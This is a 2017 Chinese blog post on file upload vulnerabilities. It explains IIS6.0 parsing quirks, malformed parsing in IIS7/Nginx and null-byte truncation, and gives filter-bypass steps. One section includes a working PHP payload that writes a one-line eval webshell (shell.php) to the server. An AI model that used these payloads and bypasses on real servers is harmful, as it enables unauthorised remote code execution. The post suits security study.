文件上传漏洞

1:IIS6.0解析漏洞

目录解析漏洞,在以.asp结尾的目录下的文件都会被当作asp文件来执行,比如上传了1.jpg的文件到upload.asp目录下,那么1.jpg文件就会被当作asp文件来执行。

文件名解析漏洞,IIS6.0从左向右解析文件名,遇到分号就会自动终止解析,所以上传形如1.asp;.jpg的文件就被当作1.asp文件来执行。

2:IIS7.0,7.5和Nginx<8.03畸形解析漏洞(写webshell漏洞)

原理:在上传文件所在目录下创建一个一句话木马文件

实现过程:新建一个1.txt文件,内容为<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>')?>,将文件保存成1.jpg格式,上传到服务器,假设上传路径为/upload,

上传成功后,直接访问/upload/1.jpg,此时神奇的畸形解析开始发挥作用啦,我们会神奇的发现/upload目录下创建了一个一句话木马文件shell.php,,,,,,,,,

3:空字节代码绕过漏洞,也叫神奇的00截断,此处的00指的是16进制的00

文件名00截断:直接上实现过程,,,

1)第一种方法:上传文件名为1.php.jpg格式的图马文件,抓包后,在php后面加上一个空格字符,然后到hex中将php后面的空格字符对应的20改为00后放行即可。

2)第二种方法:上传文件名为1.php%00.jpg格式的图马文件,抓包后,将%00进行url解码后放行即可。

请求包中包含上传目录的,可以尝试对上传目录进行00截断,原理都一样,话不多说,直接上实现过程,,,,

实现过程:上传路径/upload/,直接改成/upload/%00,再将%00进行url解码后放行即可。。。

 

posted @ 2017-09-01 11:05  Carrypan  阅读(3272)  评论(0编辑  收藏  举报